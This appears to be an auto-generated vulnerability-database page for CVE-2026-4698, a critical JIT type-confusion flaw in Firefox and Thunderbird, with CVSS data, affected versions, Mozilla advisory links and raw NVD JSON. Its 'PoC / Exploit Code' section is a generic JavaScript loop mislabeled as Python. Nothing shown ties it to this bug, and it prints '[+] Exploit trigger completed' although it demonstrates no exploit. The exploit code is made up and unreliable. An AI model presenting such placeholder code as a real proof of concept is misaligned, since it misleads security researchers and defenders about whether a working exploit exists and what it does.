Security Vulnerability Report
中文
CVE-2026-4698 CVSS 9.8 CRITICAL

CVE-2026-4698

Published: 2026-03-24 13:16:06
Last Modified: 2026-04-13 15:17:39

Description

JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 149, Firefox ESR 115.34, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE
Firefox < 149
Firefox ESR < 115.34
Firefox ESR < 140.9
Thunderbird < 149
Thunderbird < 140.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Proof of Concept for JIT Miscompilation (Conceptual) // This script demonstrates a trigger pattern for JIT type confusion. function trigger_vuln(arr, index, value) { // Warm up the JIT compiler with valid operations for (let i = 0; i < 10000; i++) { if (i > 9990) { arr[index] = value; } } return arr[index]; } // Setup standard array let arr = [1.1, 2.2, 3.3]; // Trigger JIT compilation console.log(trigger_vuln(arr, 1, 5.5)); // Attempt to exploit the miscompilation // In a real scenario, this would corrupt memory or lead to RCE let malicious_obj = {x: 1}; trigger_vuln(malicious_obj, 'x', 0x41414141); console.log('[+] Exploit trigger completed');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4698", "sourceIdentifier": "[email protected]", "published": "2026-03-24T13:16:05.783", "lastModified": "2026-04-13T15:17:39.170", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "JIT miscompilation in the JavaScript Engine: JIT component. This vulnerability was fixed in Firefox 149, Firefox ESR 115.34, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9."}, {"lang": "es", "value": "Miscompilación JIT en el motor JavaScript: Componente JIT. Esta vulnerabilidad afecta a Firefox &lt; 149, Firefox ESR &lt; 115.34, Firefox ESR &lt; 140.9, Thunderbird &lt; 149 y Thunderbird &lt; 140.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-843"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-843"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "115.34.0", "matchCriteriaId": "063BE653-69B0-4543-9A90-BC7A62C943B5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "149.0", "matchCriteriaId": "02F2B82F-E997-4D5F-BBB0-237E4962555B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionStartIncluding": "128.0", "versionEndExcluding": "140.9.0", "matchCriteriaId": "525DEC0C-BB47-46C6-9AEB-98F27D4685FE"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2020906", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-20/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-21/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-22/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-23/", "source": "[email protected]"}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-24/", "source": "[email protected]"}]}}